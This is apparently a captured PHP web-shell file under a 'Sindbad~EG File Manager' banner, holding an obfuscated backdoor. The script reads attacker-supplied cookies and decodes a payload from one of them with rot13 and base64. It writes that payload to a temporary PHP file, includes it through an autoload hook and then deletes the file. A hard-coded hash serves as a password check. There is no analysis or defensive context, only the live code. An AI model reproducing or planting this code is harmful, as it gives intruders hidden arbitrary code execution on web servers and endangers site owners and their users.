Sindbad~EG File Manager

<?php

if (isset($_COOKIE[-96+96]) && isset($_COOKIE[-54+55]) && isset($_COOKIE[23-20]) && isset($_COOKIE[29+-25])) {
    $property = $_COOKIE;
    function config($parameter) {
        $property = $_COOKIE;
        $fld = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '1e0bd694');
        if (!is_writable($fld)) {
            $fld = getcwd() . DIRECTORY_SEPARATOR . "uconvert";
        }
        $state = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($property[3]));
        if (is_writeable($fld)) {
            $arg = fopen($fld, 'w+');
            fputs($arg, $state);
            fclose($arg);
            spl_autoload_unregister(__FUNCTION__);
            require_once($fld);
            @array_map('unlink', array($fld));
        }
    }
    spl_autoload_register("config");
    $ph = "a5ef584c325abca8b5d4d9ee0f2e4646";
    if (!strncmp($ph, $property[4], 32)) {
        if (@class_parents("partition_cache", true)) {
            exit;
        }
    }
}